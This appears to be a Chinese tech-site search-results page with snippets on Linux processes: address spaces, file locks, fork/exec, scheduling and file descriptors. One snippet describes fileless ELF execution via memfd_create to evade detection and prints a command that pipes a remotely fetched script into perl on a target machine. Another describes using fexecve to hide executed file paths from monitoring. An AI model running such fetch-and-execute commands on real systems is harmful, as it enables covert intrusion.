首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux执行文件进程虚拟地址空间

Linux执行文件进程虚拟地址空间 一个可执行文件执行同时也伴随着一个新进程创建。...Linux会为这个进程创建一个新虚拟地址空间,然后会读取可执行文件文件头,建立虚拟地址空间与可执行文件映射关系,然后将CPU指令指针寄存器设置成可执行文件入口地址,然后CPU就会从这里取指令执行...Proc目录下进程虚拟地址空间布局 Linux在装载可执行文件时候,会将这些segment映射到进程地址空间中。映射时候,这里面的segment会对应一个VMA。...Linux进程虚拟地址空间中一个段叫做虚拟内存区域(VMA)。在/proc目录下,可以查看一个进程虚拟地址空间,通过命令 cat /proc/pid/maps ?...ELF可执行文件进程虚拟地址空间映射关系 ? 很明显,属性相同或相似的section会被归类到一个segment,并且被映射到同一个VMA。 ?

4.1K30
您找到你想要的搜索结果了吗?
是的
没有找到

Linux 进程间通信:文件文件

将字符串写会文件 当多个进程同时执行这个过程时候,就会出现racing:竞争条件, 多个进程可能同时从文件独到同一个数字,并且分别对同一个数字加1并写回, 导致多次写回结果并不是我们最终想要累积结果...于是三个进程都是给0加1,然后写了个1回到文件。其他进程以此类推,每次100个进程执行顺序可能不一样,于是结果是每次得到值都可能不太一样,但是一定都少于产生实际进程个数。...此时子进程flock时候会阻塞,让进程执行一直停在这。这才是我们使用文件锁之后预期该有的效果。而相同程序使用lockf却不会这样。这个原因在于flock和lockf语义是不同。...在子进程刚开始执行时候,父子进程描述符关系实际上跟在一个进程中使用dup复制文件描述符状态一样(参见《UNIX环境高级编程》8.3节文件共享部分)。...在子进程不用open重新打开文件情况下,进程执行仍然被阻塞在子进程lockf加锁操作上。

7.3K13

Linux 创建子进程执行任务实现方法

Linux 操作系统紧紧依赖进程创建来满足用户需求。例如,只要用户输入一条命令,shell 进程就创建一个新进程,新进程运行 shell 另一个拷贝并执行用户输入命令。...Linux 系统中通过 fork/vfork 系统调用来创建新进程。本文将介绍如何使用 fork/vfork 系统调用来创建新进程并使用 exec 族函数在新进程执行任务。...所打开文件文件偏移量 父进程文件锁定 控制终端 设置用户 ID 和 设置组 ID 标记位 根目录与当前目录 文件默认创建权限掩码 可访问内存区段 环境变量及其它资源分配 下面是一个常见演示...\n", getpid()); } return 0; } 把上面的代码保存到文件 forkdemo.c 文件中,并执行下面的命令编译: $ gcc forkdemo.c -o forkdemo 然后运行编译出来...本文试图通过简单 demo 来演示这些函数基本用法,为理解 Linux 系统中父进程与子进程概念提供一些直观感受。

3.7K11

Linux文件渗透执行ELF

01 简介 在进行Linux系统攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程启动命令,通过/proc/$pid/...02 技术核心 这里向大家介绍一个linux系统底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们elf文件最终以匿名文件方式在内存中被加载执行了,从匿名文件运行程序与运行于普通文件程序之间唯一真正区别是/proc/pid/exe符号链接。...原作者还使用了fork函数进行了一些进程操作,有兴趣同学可以去了解一下。

5.4K80

linux文件执行— fexecve 揭秘

前言 良好习惯是人生产生复利有力助手。 继续2020年flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前文章中,我们讲到了无文件执行方法以及混淆进程参数方法,今天我们继续讲解一种linux文件执行技巧,是后台朋友给我提醒,万分感谢,又学到了新东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...大家可以看到shmopen 其实是在/dev/shm创建文件,而execve执行文件为/proc/self/fd/3,为进程中打开文件符号链接,这个指向就是shm_open创建文件,但是从监控execve...角度来说, execve无法获取执行文件路径,从而实现了混淆。

4.4K40

linux获取进程执行时间方法示例

linux获取进程执行时间有两种方法可以获取,第一种是用time命令,time 进程。...第二种是通过在程序中进行记录,首先利用sysconf函数获取时钟滴答数,再用times获取tms结构,详细看下面的示例代码 1、前言 测试一个程序执行时间,时间包括用户CPU时间、系统CPU时间、时钟时间...之前获取之前时间都是在程序main函数用time函数实现,这个只能粗略计算程序执行时间,不能准确获取其他时间。在看《APUE》时,书中有关程序时间测试程序,非常正规,提供这三个时间。...2、获取方法 有两种方法可以获取,第一种是用time命令,time 进程。第二种是通过在程序中进行记录,首先利用sysconf函数获取时钟滴答数,再用times获取tms结构。...,需要除以系统时钟滴答数,得出实际秒数。

2.8K00

进程执行和挂起

1 进程总览 进程是对逻辑抽象,我们从操作系统书籍中对进程有了很多认识,但是对进程实现可能不太了解,这篇文章尝试解释一下关于进程实现大致原理。...2 进程执行 当系统创建一个进程之后,会设置cs:ip寄存器值,如果是fork,则ip就是fork函数后面的语句ip地址。如果是execute则ip地址由编译器指定。...不管怎样,当进程开始执行时候,cpu就会解析cs:ip拿到一条指令去执行。那么cs:ip是如何被解析呢?...执行进程时候,tss选择子(GDT索引)被加载到tss寄存器,然后把tss里上下文也加载到对应寄存器,比如cr3,ldt选择子。...,然后把链表头指针指向当前进程, 然后切换到其他进程执行,当被wake_up唤醒时候,wake_up会唤醒链表第一个 睡眠节点,因为第一个节点里保存了后面一个节点地址

1.6K10

Linux下查看进程打开文件句柄数

Linux 平台上运行进程都会从系统资源申请一定数量句柄,而且系统控制了进程能够申请最大句柄数量。...在 Linux 系统中,进程文件之间是通过“打开文件”操作建立连接,文件系统会返回文件句柄来唯一标识进程文件连接。每当一个进程执行完毕之后,Linux 系统会将与进程相关文件句柄自动释放。...但是,如果进程一直处于执行状态,文件句柄只能通过“关闭文件”操作来自我释放。...与 Windows 系统设置不同,Linux 系统对进程可以调用文件句柄数做了限制,在默认情况下,每个进程可以调用最大句柄数为 1024 个。超过了这个数值,进程则无法获得新句柄。...因此,句柄泄露将会对进程功能失效造成极大隐患。 如何修改系统最大句柄数 Linux 中,单个进程能够打开最大文件句柄数量是可以配置,系统默认是 1024。

52.8K52

调整进程最大linux文件描述符

1.介绍 ---- ulimit 命令提供了针对 shell和或由该 shell 启动进程占用资源控制。  持久化修改生效是在/etc/security/limits.conf中进行数据写入....写入格式为: domain:用户名/用户组名/其他(查看man limits.conf) type: hard / soft ,分别指实际最大值类型和预警值类型...maxsyslogins/priority/locks/sigpending/msgqueue/nice/rtprio/ value: -1/unlimited/infinity/ 具体值 要修改最大文件描述符重点在于...item和value 2.修改 ---- 2.1 先查看当前用户最大文件描述符数量: 1 ulimit -Hn 2 ulimit -Sn 2.2 修改当前用户进程最大文件描述符数量: 1 vim...在末尾添加 3 user soft nofile 4096  (user为用户名) 4 user hard nofile 10240 5 保存后退出登录再重新登录 6 使用上面的命令查看新limit

3K50

linux 用户、文件权限、进程、软件管理

用户管理 口令文件 /etc/passwd 影子口令文件 /etc/shadow 组账号文件 /etc/group 组口令文件 /etc/gshadow ?...userdel [-r] //删除 userdel xiaohong 如果加参数-r ,表示在删除用户同时,一并把用户家目录及本地邮件存储目录或文件也一同删除 组管理 groupadd...ls列出条目信息: -rw-r--r-- 1 anyone anyone 0 7月 3 14:32 test.txt r:读权限 w:写权限 x:执行权限 属主、同组人、其他人 改变所属用户...chmod u=rw test.txt 改文件所属组 必要参数: -c 当发生改变时输出调试信息 -f 不显示错误信息 -R 处理指定目录以及其子目录下所有文件 -v 运行时显示详细处理信息 chgrp...-R dierzu text.txt //将文件text.txt 所属已更改为 dierzu 进程管理 查看进程 ps -elf 实时查看进程:top 杀死进程 kill pid

2.1K32

linux lsof命令查看文件占用进程

1.lsof简介 lsof(list open files)是一个列出当前系统打开文件工具。在linux环境下,任何事物都以文件形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。...:进程名称 PID:进程标识符 USER:进程所有者 FD:文件描述符,应用程序通过文件描述符识别该文件。...例如,linux限制了进程能够打开文件数目。通常这个数值很大,所以不会产生问题,并且在需要时,应用程序可以请求更大值(直到某个上限)。...二、恢复删除文件Linux计算机受到入侵时,常见情况是日志文件被删除,以掩盖攻击者踪迹。管理错误也可能导致意外删除重要文件,比如在清理旧日志时,意外地删除了数据库活动事务日志。...所以lsof 可以显示进程文件描述符和相关文件名等信息。也就是我们通过访问进程文件描述符可以找到该文件相关信息。

13.4K40

Linux进程与可执行程序关系&&fork创建子进程&&写实拷贝理解

一、进程与可执行程序之间关系理解 系统会将此时在系统运行进程各种属性都以文件形式给你保存在系统proc目录下。...当前我myprocess程序正在运行 而此时我将其对应执行程序删掉 这个进程所对应执行程序已经被语法高亮了,证明已经被删掉了   而此时我执行程序仍在运行,这也从侧面证明了当一个进程运行起来时候...从上面的截图中我们也可以看到,/proc目录下虚拟文件系统是会记录下进程工作目录和对应可执行程序路径,/proc目录下记录进程信息与PCB中某些信息有重叠,比如说PCB中同样也会记录下进程工作目录和对应可执行程序路径...这和linux虚拟地址有关,也就是说,一个变量可以指向不同地址空间。 写实拷贝 任意进程之间是具有独立性,不会互相影响。...进程都有自己代码和数据,系统创建出来进程PCB默认就会指向父进程代码和数据,想让父子进程分别执行不同程序,那就可以在代码中根据父子进程fork返回值不同设置ifelse语句,让父子进程分别执行不同代码

10510

Linux进程调度_linux进程查看和调度

Linux 系统为了提升响应速度,倾向于优先调度 I/O 消耗型。...一、普通进程Linux 中普通进程依赖称之为 nice 值 东东来进行进程优先级描述。nice 值范围是 [-20, 19]。...越高优先级 普通进程 有着越高执行时间(注意,这里值越高执行时间,指的是在一小段观察时间内,每个可执行进程执行一遍情况,这里描述可能产生一些歧义,稍安勿躁,接着看)。...—— 小结 实时进程优先级:value 越高,优先级越大 普通进程优先级:nice值越高,普通进程优先级越小 任何实时进程优先级 > 普通进程 Linux 调度算法 ---- Linux 中有一个总调度结构...Linux 调度时机 ---- 一、进程切换 从进程角度看,CPU是共享资源,由所有的进程按特定策略轮番使用。

20.5K10

Linux 进程、线程、文件描述符底层原理

Linux进程其实就是一个数据结构,顺带可以理解文件描述符、重定向、管道命令底层工作原理,最后我们从操作系统角度看看为什么说线程和进程基本没有区别。...在操作系统层面,就是新建了一个进程,这个进程将我们编译出来执行文件读入内存空间,然后执行,最后退出。...你编译好那个可执行程序只是一个文件,不是进程,可执行文件必须要载入内存,包装成一个进程才能真正跑起来。...进程是要依靠操作系统创建,每个进程都有它固有属性,比如进程号(PID)、进程状态、打开文件等等,进程创建好之后,读入你程序,你程序才被系统执行。 那么,操作系统是如何创建进程呢?...mm指向进程虚拟内存,也就是载入资源和可执行文件地方;files指针指向一个数组,这个数组里装着所有该进程打开文件指针。 二、文件描述符是什么 先说files,它是一个文件指针数组。

2.3K30
领券